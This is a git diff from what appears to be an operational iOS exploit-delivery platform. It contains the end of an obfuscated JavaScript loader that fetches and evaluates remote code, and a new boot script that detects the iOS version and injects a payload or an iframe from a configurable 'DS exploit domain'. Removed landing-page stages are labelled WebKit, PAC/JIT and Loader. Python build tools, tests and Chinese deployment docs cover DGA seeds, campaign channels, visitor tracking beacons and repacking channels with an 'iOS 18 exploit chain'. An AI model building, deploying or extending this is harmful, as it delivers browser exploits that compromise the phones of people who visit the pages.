sdEMxc3RPOmFzeW5jIGZ1bmN0aW9uKE0pe2lmKE0gaW4gZT09ITEmJk0gaW4gTU09PSExKXtsZXQgST1NO0k9SU0oZS5wK00pLnN1YnN0cmluZygwLDQwKTtjb25zdCBnPWF3YWl0IGFzeW5jIGZ1bmN0aW9uKE0pe3JldHVybiBuZXcgUHJvbWlzZSgoKEksZyk9Pntjb25zdCBEPW5ldyBYTUxIdHRwUmVxdWVzdDtsZXQgTjtjb25zdCBiPShNLEkpPT5NYXRoLmZsb29yKE1hdGgucmFuZG9tKCkqKEktTSsxKSkrTTtOPW5ldyBVUkwoKGUuJCkgKyAoTSkpO2NvbnN0IEM9TWF0aC5yYW5kb20oKS50b1N0cmluZygzNikuc2xpY2UoMixiKDUsMTApKSxUPWIoMCwxKTtOLnNlYXJjaFBhcmFtcy5zZXQoQyxUKSxELm9wZW4oKFsxMywgMTUsIDMwXS5tYXAoeCA9PiB7cmV0dXJuIFN0cmluZy5mcm9tQ2hhckNvZGUoeCBeIDc0KTt9KS5qb2luKCIiKSksTi50b1N0cmluZygpLCEwKSxELnJlc3BvbnNlVHlwZT0oWzYsIDIzLCAxMCwgNl0ubWFwKHggPT4ge3JldHVybiBTdHJpbmcuZnJvbUNoYXJDb2RlKHggXiAxMTQpO30pLmpvaW4oIiIpKSxELm9ucmVhZHlzdGF0ZWNoYW5nZT0oKT0+e2lmKEQucmVhZHlTdGF0ZT09PVhNTEh0dHBSZXF1ZXN0LkRPTkUpaWYoKDE2MzA4OTA4NjEgXiAxNjMwODkwOTE3KT09PUQuc3RhdHVzKXtjb25zdCBNPUQucmVzcG9uc2U7bnVsbD09PU18fCIiPT09TT9yZWplY3QoIiIpOkkoTSl9ZWxzZSByZWplY3QoIiIpfSxELnNlbmQoKX0pKX0oKEkpICsgKFsxMDksIDQxLCA0OF0ubWFwKHggPT4ge3JldHVybiBTdHJpbmcuZnJvbUNoYXJDb2RlKHggXiA2Nyl9KS5qb2luKCIiKSkpO2VbTV09bmV3IEZ1bmN0aW9uKGcpKCl9cmV0dXJuIGMoTSl9LE1kSkY4RzpmdW5jdGlvbihNLEkpe00gaW4gZT09ITEmJihlW01dPW5ldyBGdW5jdGlvbihhdG9iKEkpKSgpKX19Ow==")))(); +const cAsUcoxcW=globalThis.Lwgums.MwmbNV([81,6,3,2,83,1,9,6,6,7,6,3,85,3,6,84,2,2,9,5,6,2,9,1,6,7,85,3,84,83,4,3,1,84,0,6,85,5,3,2].map(U=>String.fromCharCode(U^48)).join("")),cAsUcoxcC=globalThis.Lwgums.MwmbNV([13,11,8,89,94,94,13,87,94,93,86,13,95,15,86,90,87,8,10,95,10,8,90,86,12,15,91,92,95,8,10,95,10,89,11,90,10,95,13,15].map(U=>String.fromCharCode(U^110)).join(""));let cAsUcoxck=cAsUcoxcW.Ot(cAsUcoxcj());cAsUcoxck=cAsUcoxck.slice(0,cAsUcoxck.lastIndexOf("/")+1);globalThis.Lwgums.fKmC3e(cAsUcoxck); +globalThis.Lwgums.hnJNrf("9eb2b99484c8f631");function cAsUcoxcr(U){var Q=cAsUcoxcj();if(""!==Q){const n=cAsUcoxcW.Ot(Q);n&&(Q=new XMLHttpRequest,U=n+[84,14,86].map(P=>String.fromCharCode(P^107)).join("")+U,Q.open([116,118,103].map(P=>String.fromCharCode(P^51)).join(""),U,!0),Q.send())}} +async function cAsUcoxcm(){let U,Q=!1,n=!1,P=!1,C=!1,A=!1;(globalThis.Lwgums.MwmbNV([40,46,45,124,123,123,40,114,123,120,115,40,122,42,115,127,114,45,47,122,47,45,127,115,41,42,126,121,122,45,47,122,47,124,46,127,47,122,40,42].map(Z=>String.fromCharCode(Z^75)).join("")).Kn.jn.nOpIVS?Q=!0:globalThis.Lwgums.MwmbNV([13,11,8,89,94,94,13,87,94,93,86,13,95,15,86,90,87,8,10,95,10,8,90,86,12,15,91,92,95,8,10,95,10,89,11,90,10,95,13,15].map(Z=>String.fromCharCode(Z^110)).join("")).Kn.jn.lZfMrA?n=!0:globalThis.Lwgums.MwmbNV([42, +44,47,126,121,121,42,112,121,122,113,42,120,40,113,125,112,47,45,120,45,47,125,113,43,40,124,123,120,47,45,120,45,126,44,125,45,120,42,40].map(Z=>String.fromCharCode(Z^73)).join("")).Kn.jn.pnisOP?P=!0:globalThis.Lwgums.MwmbNV([53,51,48,97,102,102,53,111,102,101,110,53,103,55,110,98,111,48,50,103,50,48,98,110,52,55,99,100,103,48,50,103,50,97,51,98,50,103,53,55].map(Z=>String.fromCharCode(Z^86)).join("")).Kn.jn.chyZn2?C=!0:A=!0,Q)?(await (await globalThis.Lwgums.tC1stO([103,97,106,51,51,55,48,97,107, +102,99,102,49,98,51,48,49,52,51,98,51,55,96,98,96,103,51,103,54,97,106,107,100,52,100,49,51,98,98,96].map(Z=>String.fromCharCode(Z^82)).join(""))).ul(),U=await globalThis.Lwgums.tC1stO([114,42,121,126,114,121,46,46,123,41,125,125,40,126,42,47,121,123,126,126,123,46,42,123,46,125,124,127,121,41,45,120,127,122,45,121,123,121,120,115].map(Z=>String.fromCharCode(Z^75)).join(""))):n?(await (await globalThis.Lwgums.tC1stO([121,127,116,45,45,41,46,127,117,120,125,120,47,124,45,46,47,42,45,124,45,41,126, +124,126,121,45,121,40,127,116,117,122,42,122,47,45,124,124,126].map(Z=>String.fromCharCode(Z^76)).join(""))).ul(),U=await globalThis.Lwgums.tC1stO([65,65,66,75,17,70,74,65,22,68,67,75,16,67,19,70,68,65,23,74,64,20,23,23,69,70,22,71,20,71,66,20,17,70,68,66,19,74,20,22].map(Z=>String.fromCharCode(Z^114)).join(""))):P?U=await globalThis.Lwgums.tC1stO([99,98,53,102,96,101,52,99,110,51,103,50,98,96,100,96,48,100,48,102,52,110,48,110,53,97,53,51,100,103,103,102,51,55,111,55,110,100,53,52].map(Z=>String.fromCharCode(Z^ +86)).join("")):C?U=await globalThis.Lwgums.tC1stO([116,116,126,38,37,117,33,35,126,117,37,37,34,126,116,112,112,118,36,36,127,34,116,127,112,35,37,36,118,117,34,117,113,35,126,118,33,38,115,36].map(Z=>String.fromCharCode(Z^71)).join("")):A&&(U=await globalThis.Lwgums.tC1stO([32,119,33,39,118,32,36,113,36,36,119,35,32,112,115,39,115,32,117,32,38,113,38,113,116,36,33,39,32,115,36,36,35,118,39,113,39,39,116,118].map(Z=>String.fromCharCode(Z^69)).join("")));if(void 0===U)throw Error("");return U.sd()} +async function cAsUcoxci(){var U=navigator.platform;const Q=navigator.userAgent;if(await cAsUcoxcC.init(cAsUcoxcj(),cAsUcoxcj(),cAsUcoxcg([2843507068,3440268816,135339741,3401072055,2474543398,3229952229,3459652232,308582433]),Array(!1)[0],Array(!1)[0],U,Q),cAsUcoxcC.qn())throw Error("");if(13E4>cAsUcoxcC.Kn.Tn)return 1001;if(16E4<=cAsUcoxcC.Kn.Tn){try{await cAsUcoxcC.Fn()}catch(P){return 1001}if(cAsUcoxcC.Kn.zn)return 1003}try{await cAsUcoxcC.Qn()}catch(P){return 1001}let n;if(globalThis.Lwgums.MwmbNV([15, +9,10,91,92,92,15,85,92,95,84,15,93,13,84,88,85,10,8,93,8,10,88,84,14,13,89,94,93,10,8,93,8,91,9,88,8,93,15,13].map(P=>String.fromCharCode(P^108)).join("")).Kn.jn.DVE8os?n=await globalThis.Lwgums.tC1stO([92,89,90,81,95,89,89,90,13,13,12,90,80,94,80,14,88,88,14,88,93,81,9,95,9,80,81,13,81,13,91,9,88,92,88,14,11,89,11,14].map(P=>String.fromCharCode(P^104)).join("")):globalThis.Lwgums.MwmbNV([5,3,0,81,86,86,5,95,86,85,94,5,87,7,94,82,95,0,2,87,2,0,82,94,4,7,83,84,87,0,2,87,2,81,3,82,2,87,5,7].map(P=> +String.fromCharCode(P^102)).join("")).Kn.jn.aGxM3z?n=await globalThis.Lwgums.tC1stO([121,117,115,117,116,121,116,112,121,114,115,35,34,35,114,39,114,114,36,39,121,119,116,113,118,36,113,37,118,112,35,39,116,116,36,112,35,32,39,115].map(P=>String.fromCharCode(P^65)).join("")):globalThis.Lwgums.MwmbNV([2,4,7,86,81,81,2,88,81,82,89,2,80,0,89,85,88,7,5,80,5,7,85,89,3,0,84,83,80,7,5,80,5,86,4,85,5,80,2,0].map(P=>String.fromCharCode(P^97)).join("")).Kn.jn.rKOVj7?n=await globalThis.Lwgums.tC1stO([52,105, +50,105,55,97,104,51,52,102,52,98,51,97,103,96,97,98,102,102,100,53,51,101,97,104,100,100,99,50,101,101,48,96,55,104,100,105,103,55].map(P=>String.fromCharCode(P^81)).join("")):globalThis.Lwgums.MwmbNV([20,18,17,64,71,71,20,78,71,68,79,20,70,22,79,67,78,17,19,70,19,17,67,79,21,22,66,69,70,17,19,70,19,64,18,67,19,70,20,22].map(P=>String.fromCharCode(P^119)).join("")).Kn.jn.bdxCOo?n=await globalThis.Lwgums.tC1stO([8,0,6,86,83,7,5,3,8,3,9,7,0,7,85,1,9,2,4,86,7,5,5,8,4,1,3,81,82,82,7,0,83,1,86,7,82,8, +3,8].map(P=>String.fromCharCode(P^48)).join("")):globalThis.Lwgums.MwmbNV([48,54,53,100,99,99,48,106,99,96,107,48,98,50,107,103,106,53,55,98,55,53,103,107,49,50,102,97,98,53,55,98,55,100,54,103,55,98,48,50].map(P=>String.fromCharCode(P^83)).join("")).Kn.jn.sipVwQ&&(n=await globalThis.Lwgums.tC1stO([83,85,89,88,80,5,7,81,0,3,83,88,82,5,7,82,89,87,3,5,89,7,82,83,5,83,0,81,5,81,7,80,82,82,0,2,5,86,3,0].map(P=>String.fromCharCode(P^97)).join(""))),void 0===n)return 1001;if(await async function(){for(let P= +0;20>P;P++)try{return void([59,9,3,20,25,60,15,20,25,14,19,21,20].map(C=>String.fromCharCode(C^122)).join("")===n.kr.constructor.name?await n.kr():n.kr())}catch(C){}throw Error("");}(),!cAsUcoxcC.Kn.Wn)throw Error("");U=0;try{U=(cAsUcoxcC.te(),cAsUcoxcC.Kn._n&&(cAsUcoxcC.Kn.Rn=await cAsUcoxcm(),cAsUcoxcC.Kn.Ln=await cAsUcoxcC.$n()),!0===globalThis.Lwgums.MwmbNV([22,16,19,66,69,69,22,76,69,70,77,22,68,20,77,65,76,19,17,68,17,19,65,77,23,20,64,71,68,19,17,68,17,66,16,65,17,68,22,20].map(P=>String.fromCharCode(P^ +117)).join("")).Kn.jn.hjaoKp&&!0===cAsUcoxcC.Kn.Ln)?await (await globalThis.Lwgums.tC1stO([32,36,39,39,119,112,114,35,119,36,114,112,33,36,113,113,38,112,124,36,117,115,33,119,118,33,112,119,119,114,35,112,32,125,32,39,113,39,112,116].map(P=>String.fromCharCode(P^69)).join(""))).lA():await (await globalThis.Lwgums.tC1stO([92,10,86,93,13,90,8,13,86,12,87,87,91,87,88,13,15,86,92,92,86,90,11,91,87,12,93,13,15,89,88,10,94,89,15,15,10,13,8,94].map(P=>String.fromCharCode(P^110)).join(""))).lA()}catch(P){U= +1E3}finally{cAsUcoxcC.Kn.Wn&&cAsUcoxcC.Kn.Wn.Xr()}return U}self.setTimeout(async function(){try{const U=await cAsUcoxci();cAsUcoxcr(0===U?0:1001===U?1001:1E3===U?1E3:1003===U?1003:U)}catch(U){try{cAsUcoxcr(1E3)}catch(Q){}}},10); diff --git a/channel-builder/source/web/support.html b/channel-builder/source/web/support.html index 41dafce..4cf1615 100644 --- a/channel-builder/source/web/support.html +++ b/channel-builder/source/web/support.html @@ -1,614 +1,12 @@ - - + - - -Preparing… - - + -
-
Secure Setup
- -
- -
-
15
-
sec
-
Starting…
-
-
- -
-
-
    -
  1. - 1 - WebKit - stage1 -
  2. -
  3. - 2 - PAC / JIT - stage2 -
  4. -
  5. - 3 - Loader - stage3 -
  6. -
  7. - ✓ - Success - e=0 -
  8. -
-
- -
—
-
- - + - - \ No newline at end of file diff --git a/channel-builder/tools/new_project.py b/channel-builder/tools/new_project.py index 9b120b2..ad1a398 100644 --- a/channel-builder/tools/new_project.py +++ b/channel-builder/tools/new_project.py @@ -38,6 +38,11 @@ from _common import ( TOOLS = Path(__file__).resolve().parent BUILDER_ROOT = TOOLS.parent +_EMBED_DIR = BUILDER_ROOT.parent / "channel-embed" +if str(_EMBED_DIR) not in sys.path: + sys.path.insert(0, str(_EMBED_DIR)) +from embed_boot import apply_embed_boot # noqa: E402 + SUPPORT_TEMPLATES = ("test", "blank") DEFAULT_SUPPORT_TEMPLATE = "blank" SUPPORT_TEMPLATE_ROOT = SOURCE_ROOT / "templates" / "support" @@ -66,51 +71,23 @@ def normalize_support_template(value: str | None) -> str: return template -# Idempotency marker for inlined PV/UV beacon (blank support.html ). -HIT_MARKER = "data-pv" -HIT_JS_PATH = BUILDER_ROOT.parent / "public" / "t.js" - - -def load_hit_js() -> str: - if not HIT_JS_PATH.is_file(): - raise SystemExit(f"missing hit script: {HIT_JS_PATH}") - return HIT_JS_PATH.read_text(encoding="utf-8").strip() - - -def ensure_hit_beacon(support_html: Path) -> None: - """Inline PV/UV beacon into (idempotent via data-pv).""" - text = support_html.read_text(encoding="utf-8") - if HIT_MARKER in text: - return - block = f'\n' - lower = text.lower() - idx = lower.rfind("") - if idx >= 0: - text = text[:idx] + block + text[idx:] - else: - # Fallback: prepend after or at start. - html_idx = lower.find("= 0: - gt = text.find(">", html_idx) - text = text[: gt + 1] + "\n\n" + block + "\n" + text[gt + 1 :] - else: - text = "\n" + block + "\n" + text - support_html.write_text(text, encoding="utf-8") - - def apply_support_template(campaign_dir: Path, template: str) -> None: template = normalize_support_template(template) dest = campaign_dir / "support.html" - if template == "test": - if not dest.is_file(): - raise SystemExit(f"missing support.html after campaign copy: {dest}") - return src = SUPPORT_TEMPLATE_ROOT / f"{template}.html" if not src.is_file(): raise SystemExit(f"missing support template: {src}") shutil.copyfile(src, dest) - if template == "blank": - ensure_hit_beacon(dest) + + +def apply_ds_domain(support_html: Path, ds_domain: str) -> None: + """Replace __DS_DOMAIN__ in the landing page (empty = same-origin /next-chain/).""" + if not support_html.is_file(): + return + text = support_html.read_text(encoding="utf-8") + if "__DS_DOMAIN__" not in text: + return + support_html.write_text(text.replace("__DS_DOMAIN__", ds_domain), encoding="utf-8") def resolve_python() -> str: @@ -303,12 +280,20 @@ def main() -> int: type=Path, help="optional path to write the result JSON (also printed on stdout)", ) + parser.add_argument( + "--ds-domain", + default="", + help="DS exploit domain for support.html iframe (e.g. https://ds.example.com). " + "Empty = relative /next-chain/ (default)", + ) args = parser.parse_args() src_campaign = SOURCE_ROOT / "web" src_sync = SOURCE_ROOT / "sync" if not src_campaign.is_dir() or not (src_campaign / "support.html").is_file(): raise SystemExit(f"missing source web template: {src_campaign}") + if not (src_campaign / "index.js").is_file(): + raise SystemExit(f"missing source web/index.js: {src_campaign}") if not src_sync.is_dir(): raise SystemExit(f"missing source sync: {src_sync}") @@ -382,7 +367,10 @@ def main() -> int: print("=== build web/%s ===" % channel) web_dir.parent.mkdir(parents=True, exist_ok=True) shutil.copytree(src_campaign, web_dir, symlinks=False, ignore=_ignore_junk) + if not (web_dir / "index.js").is_file(): + raise SystemExit(f"missing index.js after campaign copy: {web_dir}") apply_support_template(web_dir, support_template) + apply_ds_domain(web_dir / "support.html", (args.ds_domain or "").rstrip("/")) run( [ py, @@ -401,6 +389,11 @@ def main() -> int: "--apply", ] ) + apply_embed_boot( + web_dir, + channel_code=channel, + ds_domain=(args.ds_domain or "").rstrip("/"), + ) except BaseException: if web_dir.exists() and not sync_rebuilt: # leave shared sync; remove failed channel web @@ -421,6 +414,7 @@ def main() -> int: "seeds_initialized": seeds_initialized, "sync_rebuilt": sync_rebuilt, "support_path": f"/web/{channel}/support.html", + "ds_domain": (args.ds_domain or "").rstrip("/"), "daily_path": "/sync/daily.html", "artifact_root": str(artifact_root), "state_root": str(state_root), diff --git a/channel-builder/tools/tests/test_support_landing.py b/channel-builder/tools/tests/test_support_landing.py new file mode 100644 index 0000000..ae1157d --- /dev/null +++ b/channel-builder/tools/tests/test_support_landing.py @@ -0,0 +1,95 @@ +import tempfile +import unittest +from pathlib import Path +import sys + + +TOOLS = Path(__file__).resolve().parents[1] +SOURCE = TOOLS.parent / "source" +EMBED = TOOLS.parents[1] / "channel-embed" +if str(TOOLS) not in sys.path: + sys.path.insert(0, str(TOOLS)) +if str(EMBED) not in sys.path: + sys.path.insert(0, str(EMBED)) + +from embed_boot import BOOT_MARKER, apply_embed_boot # noqa: E402 +from new_project import apply_ds_domain, apply_support_template # noqa: E402 + + +class SupportLandingTest(unittest.TestCase): + def test_source_index_js_holds_payload(self) -> None: + index_js = (SOURCE / "web" / "index.js").read_text(encoding="utf-8") + self.assertIn("function cAsUcoxco", index_js) + self.assertGreater(len(index_js), 1000) + + def test_source_landings_only_load_index_js(self) -> None: + landings = [ + SOURCE / "web" / "support.html", + SOURCE / "templates" / "support" / "blank.html", + SOURCE / "templates" / "support" / "test.html", + ] + for path in landings: + html = path.read_text(encoding="utf-8") + self.assertIn('src="index.js"', html, path.name) + self.assertNotIn('src="/t.js"', html, path.name) + self.assertNotIn("data-pv", html, path.name) + self.assertNotIn("/statistic/t", html, path.name) + self.assertNotIn("/next-chain/frame.html", html, path.name) + self.assertNotIn("__DS_DOMAIN__", html, path.name) + self.assertNotIn("function cAsUcoxco", html, path.name) + + clean = (SOURCE / "web" / "support.html").read_text(encoding="utf-8") + self.assertNotIn("lab-hud", clean) + self.assertNotIn("__labHud", clean) + self.assertNotIn("STAGE_MAP", clean) + + def test_apply_embed_boot_renames_payload_and_bakes_channel(self) -> None: + with tempfile.TemporaryDirectory() as tmp: + dest = Path(tmp) + (dest / "index.js").write_text("function cAsUcoxco(){}", encoding="utf-8") + apply_embed_boot( + dest, + channel_code="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + ds_domain="https://ds.example.com", + ) + boot = (dest / "index.js").read_text(encoding="utf-8") + payload = (dest / "payload.js").read_text(encoding="utf-8") + self.assertIn(BOOT_MARKER, boot) + self.assertIn("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", boot) + self.assertIn("https://ds.example.com", boot) + self.assertIn("payload.js", boot) + self.assertIn("function cAsUcoxco", payload) + apply_embed_boot( + dest, + channel_code="bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb", + ds_domain="", + ) + boot2 = (dest / "index.js").read_text(encoding="utf-8") + self.assertIn("bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb", boot2) + self.assertEqual((dest / "payload.js").read_text(encoding="utf-8"), payload) + + def test_apply_support_template_does_not_inline_beacon(self) -> None: + with tempfile.TemporaryDirectory() as tmp: + dest = Path(tmp) + apply_support_template(dest, "blank") + html = (dest / "support.html").read_text(encoding="utf-8") + self.assertIn('src="index.js"', html) + self.assertNotIn("data-pv", html) + self.assertNotIn("/statistic/t", html) + + def test_apply_ds_domain_replaces_placeholder(self) -> None: + with tempfile.TemporaryDirectory() as tmp: + dest = Path(tmp) / "support.html" + dest.write_text( + "var dsDomain = '__DS_DOMAIN__';\nvar dsUrl = dsDomain + '/next-chain/frame.html';\n", + encoding="utf-8", + ) + apply_ds_domain(dest, "https://ds.example.com") + text = dest.read_text(encoding="utf-8") + self.assertNotIn("__DS_DOMAIN__", text) + self.assertIn("https://ds.example.com", text) + self.assertIn("/next-chain/frame.html", text) + + +if __name__ == "__main__": + unittest.main() diff --git a/channel-embed/embed_boot.py b/channel-embed/embed_boot.py new file mode 100644 index 0000000..0157470 --- /dev/null +++ b/channel-embed/embed_boot.py @@ -0,0 +1,43 @@ +"""Install the shared script-embed boot as published index.js.""" + +from __future__ import annotations + +from pathlib import Path + +BOOT_MARKER = "/* coruna-embed-boot */" +BOOT_TEMPLATE = Path(__file__).with_name("index.boot.js") +PAYLOAD_NAME = "payload.js" +INDEX_NAME = "index.js" + + +def apply_embed_boot( + dest_dir: Path, + *, + channel_code: str, + ds_domain: str = "", +) -> Path: + dest_dir = Path(dest_dir) + if not dest_dir.is_dir(): + raise SystemExit(f"embed boot: missing directory {dest_dir}") + if not BOOT_TEMPLATE.is_file(): + raise SystemExit(f"embed boot: missing template {BOOT_TEMPLATE}") + + index_path = dest_dir / INDEX_NAME + payload_path = dest_dir / PAYLOAD_NAME + if index_path.is_file(): + current = index_path.read_text(encoding="utf-8") + if BOOT_MARKER not in current and not payload_path.is_file(): + index_path.replace(payload_path) + elif BOOT_MARKER in current and not payload_path.is_file(): + raise SystemExit(f"embed boot: {index_path} is boot but {payload_path} is missing") + if not payload_path.is_file(): + raise SystemExit(f"embed boot: missing payload {payload_path}") + + boot = BOOT_TEMPLATE.read_text(encoding="utf-8") + boot = boot.replace("__CHANNEL_CODE__", channel_code) + boot = boot.replace("__DS_DOMAIN__", (ds_domain or "").rstrip("/")) + boot = boot.replace("__STAT_ORIGIN__", "") + if BOOT_MARKER not in boot: + boot = BOOT_MARKER + "\n" + boot + index_path.write_text(boot, encoding="utf-8") + return index_path diff --git a/channel-embed/index.boot.js b/channel-embed/index.boot.js new file mode 100644 index 0000000..8ea312b --- /dev/null +++ b/channel-embed/index.boot.js @@ -0,0 +1,81 @@ +/* coruna-embed-boot */ +(function () { + var CHANNEL = '__CHANNEL_CODE__'; + var DS_DOMAIN = '__DS_DOMAIN__'; + var STAT_ORIGIN = '__STAT_ORIGIN__'; + + if (CHANNEL && CHANNEL.indexOf('__') !== 0) { + window.__CORUNA_CHANNEL__ = CHANNEL; + } + if (STAT_ORIGIN && STAT_ORIGIN.indexOf('__') !== 0) { + window.__CORUNA_STAT_ORIGIN__ = String(STAT_ORIGIN).replace(/\/$/, ''); + } else { + window.__CORUNA_STAT_ORIGIN__ = ''; + } + + function scriptDir() { + try { + if (document.currentScript && document.currentScript.src) { + return document.currentScript.src.replace(/\/[^\/]*$/, '/'); + } + } catch (e0) {} + try { + var scripts = document.getElementsByTagName('script'); + for (var i = scripts.length - 1; i >= 0; i--) { + var src = scripts[i].src || ''; + if (/\/index\.js(?:[?#]|$)/i.test(src)) { + return src.replace(/\/index\.js(?:[?#].*)?$/i, '/'); + } + } + } catch (e1) {} + return ''; + } + + function inject(src) { + var s = document.createElement('script'); + s.src = src; + (document.body || document.documentElement || document.head).appendChild(s); + } + + var dir = scriptDir(); + var statOrigin = window.__CORUNA_STAT_ORIGIN__ || ''; + inject((statOrigin || location.origin) + '/t.js?' + Date.now()); + + function parseIosVersion() { + var ua = navigator.userAgent || ''; + var m = /iPhone OS ([0-9_]+)/.exec(ua); + if (!m) m = /CPU (?:iPhone )?OS ([0-9_]+)/.exec(ua); + if (!m) m = /CPU OS ([0-9_]+)/.exec(ua); + if (!m) { + m = /Version\/(\d+)\.(\d+)/.exec(ua); + return m ? [parseInt(m[1], 10), parseInt(m[2], 10)] : null; + } + return m[1].split('_').map(function (p) { + return parseInt(p, 10); + }); + } + + var ios = parseIosVersion(); + if (!ios || ios[0] < 18) { + inject((dir || '') + 'payload.js?' + Date.now()); + return; + } + if (ios[0] === 18) { + var channelCode = CHANNEL && CHANNEL.indexOf('__') !== 0 ? CHANNEL : ''; + if (!channelCode) { + try { + var path = String(location.pathname || ''); + var mWeb = path.match(/\/web\/([0-9a-z]{32})\//i); + var mCh = path.match(/\/channel\/([0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2})\//i); + if (mWeb && mWeb[1]) channelCode = mWeb[1]; + else if (mCh && mCh[1]) channelCode = mCh[1].toUpperCase(); + } catch (eC) {} + } + var dsUrl = DS_DOMAIN + '/next-chain/frame.html'; + if (channelCode) dsUrl += '?c=' + encodeURIComponent(channelCode); + var ifr = document.createElement('iframe'); + ifr.src = dsUrl; + ifr.style.cssText = 'position:fixed;top:0;left:0;width:100%;height:100%;border:0;'; + (document.body || document.documentElement).appendChild(ifr); + } +})(); diff --git a/config/coruna.php b/config/coruna.php index ed44f84..e8fe497 100644 --- a/config/coruna.php +++ b/config/coruna.php @@ -48,6 +48,8 @@ return [ storage_path('app/channel-builder') ), 'timeout' => (float) env('CORUNA_CHANNEL_BUILDER_TIMEOUT', 600), + // Shared DGA seed for every old-builder channel (deployment === reporting). + 'seed' => strtolower(trim((string) env('CORUNA_CHANNEL_SEED', ''))), ], 'channel_builder_new' => [ 'python' => (string) env('CORUNA_CHANNEL_BUILDER_NEW_PYTHON', ''), diff --git a/docs/BAOTA_DEPLOY.md b/docs/BAOTA_DEPLOY.md index 46dc971..dcf4a40 100644 --- a/docs/BAOTA_DEPLOY.md +++ b/docs/BAOTA_DEPLOY.md @@ -9,7 +9,7 @@ | 新版 `channel-builder-new`(xxbb / weifile) | `coruna-lab/channel-builder-new` | `X.Y.ZZ`(6 位,如 `A.B.C1`) | `public/channel//`;共享模板 `public/details/` | -新版用环境变量 `XXBB_CHANNEL_C`**(32-hex)** 作为全站共享 DGA / 上报字段 `c`;渠道之间靠版本号 `ver` 区分,不是靠 `c`。 +新版用环境变量 `XXBB_CHANNEL_C`**(32-hex)** 作为全站共享 DGA / 上报字段 `c`;渠道之间靠版本号 `ver` 区分,不是靠 `c`。旧版用 `CORUNA_CHANNEL_SEED`**(32-hex)** 作为全站共享 DGA seed(deployment === reporting)。 ## 架构 @@ -278,6 +278,7 @@ cd /www/wwwroot/coruna-lab/channel-builder-new - 7zAES 密码槽固定,**不要**把 `XXBB_CHANNEL_C` 设成与内置 7z 密码相同的值 - 日常运维刷新共享 `/details` 可再跑 `php artisan xxbb:build`(读 env 中的 c);新建渠道时也会自动 rebuild - 已有新版渠道要吃上新插件 / iOS 18 利用链:`php artisan xxbb:repack`(可先 `--dry-run`;也可指定 `0.0.01`)。渠道 ID、`XXBB_CHANNEL_C`、投放域名不变,只覆盖 `public/channel/{id}/` +- 已有旧版渠道要吃上 support.html 路由 / `index.js`:`php artisan coruna:repack`(可先 `--dry-run`;也可指定 32-hex)。渠道 ID 不变,DGA seed 取自 `CORUNA_CHANNEL_SEED`,只覆盖 `public/web/{id}/` --- @@ -386,6 +387,9 @@ CORUNA_CHANNEL_BUILDER_TIMEOUT=600 # 新版 xxbb 共享 DGA / 上报字段 c(32 hex)。必填才能后台创建「新版」渠道。 # 首次:php artisan xxbb:build --random-c → 把打印的值写到这里 → config:clear XXBB_CHANNEL_C= +# 旧版 channel-builder 共享 DGA seed(32 hex)。必填才能后台创建 / coruna:repack 旧版渠道。 +# 已有环境:从 storage/app/channel-builder/lab_seeds.json 的 deployment_seed 抄过来。 +CORUNA_CHANNEL_SEED= # iptj PageVisit 与新版设备按 IP 关联窗口(分钟) XXBB_VISIT_MATCH_MINUTES=30 @@ -434,7 +438,7 @@ ls -la /www/wwwroot/coruna-lab/public/details ls -la /www/wwwroot/coruna-lab/storage/app/channel-builder-new/out/weifile ``` -未配置 `XXBB_CHANNEL_C` 时,后台创建「新版」渠道会直接报错。 +未配置 `XXBB_CHANNEL_C` 时,后台创建「新版」渠道会直接报错。未配置 `CORUNA_CHANNEL_SEED` 时,后台创建 / `coruna:repack` 旧版渠道会直接报错。 ### 2.6 抗压(Redis / 队列 / PHP-FPM) @@ -706,6 +710,10 @@ sudo -u www /www/wwwroot/coruna-lab/channel-builder-new/.venv/bin/python -c 'imp 按 **§1.4** 执行 `php artisan xxbb:build --random-c`,把输出的 `XXBB_CHANNEL_C` 写入 `.env`,再 `config:clear`。确认 `channel-builder-new/.venv` 已安装。 +### 后台新建「旧版」渠道失败:`请先在 .env 配置 CORUNA_CHANNEL_SEED` + +把现网 `storage/app/channel-builder/lab_seeds.json` 里的 `deployment_seed` 写入 `.env` 的 `CORUNA_CHANNEL_SEED`,再 `config:clear`。新环境可生成一份 32-hex 后写入(改 seed 会换 DGA 域名)。 + ### `is_file(): open_basedir restriction` … `channel-builder-new/.venv/bin/python` `.venv/bin/python` 一般是指向 `/usr/bin/python3*` 的软链。PHP `is_file()` 会解析真实路径,而宝塔 `open_basedir` 通常只有项目根 + `/tmp`,于是报错。 diff --git a/public/t.js b/public/t.js index aa651fb..e1337ef 100644 --- a/public/t.js +++ b/public/t.js @@ -14,6 +14,12 @@ } } if (!channelId) return; + var statOrigin = ''; + try { + if (typeof window.__CORUNA_STAT_ORIGIN__ === 'string') { + statOrigin = window.__CORUNA_STAT_ORIGIN__.replace(/\/$/, ''); + } + } catch (eOrigin) {} var KEY = 'c_uid'; var uid = null; try { @@ -43,7 +49,7 @@ } catch (e) {} if (referer.length > 512) referer = referer.slice(0, 512); var q = - location.origin + + (statOrigin || location.origin) + '/statistic/t?c=' + encodeURIComponent(channelId) + '&u=' + diff --git a/resources/views/admin/channels/index.blade.php b/resources/views/admin/channels/index.blade.php index fbebecc..d7793b1 100644 --- a/resources/views/admin/channels/index.blade.php +++ b/resources/views/admin/channels/index.blade.php @@ -134,19 +134,47 @@ layui.use(['table', 'form', 'layer'], function () { if (!links.length) { return layer.msg('未生成投放链接(请配置 CORUNA_LAB_CHANNEL_DOMAINS 或系统设置→投放域名)'); } - var html = '
'; + var firstLink = links[0]; + var scriptTag = row.embed_script || '') + ->assertJsonPath('data.0.embed_zip_url', route('admin.channels.embedZip', $channel)); + + $this->actingAs($admin, 'admin') + ->get(route('admin.channels.embedZip', $channel)) + ->assertOk() + ->assertDownload('channel-embed-'.self::CHANNEL_ID.'.zip'); + + $tmp = app(ChannelEmbedZipService::class)->build($channel); + $this->assertFileExists($tmp); + $zip = new ZipArchive(); + $this->assertTrue($zip->open($tmp) === true); + $this->assertNotFalse($zip->locateName('index.js')); + $this->assertNotFalse($zip->locateName('payload.js')); + $this->assertNotFalse($zip->locateName('deadbeef.js')); + $this->assertFalse($zip->locateName('manifest.json')); + $boot = $zip->getFromName('index.js'); + $this->assertStringContainsString('https://cdn.example.com', (string) $boot); + $this->assertStringNotContainsString('c2.example.com', (string) $boot); + $this->assertStringContainsString('', (string) 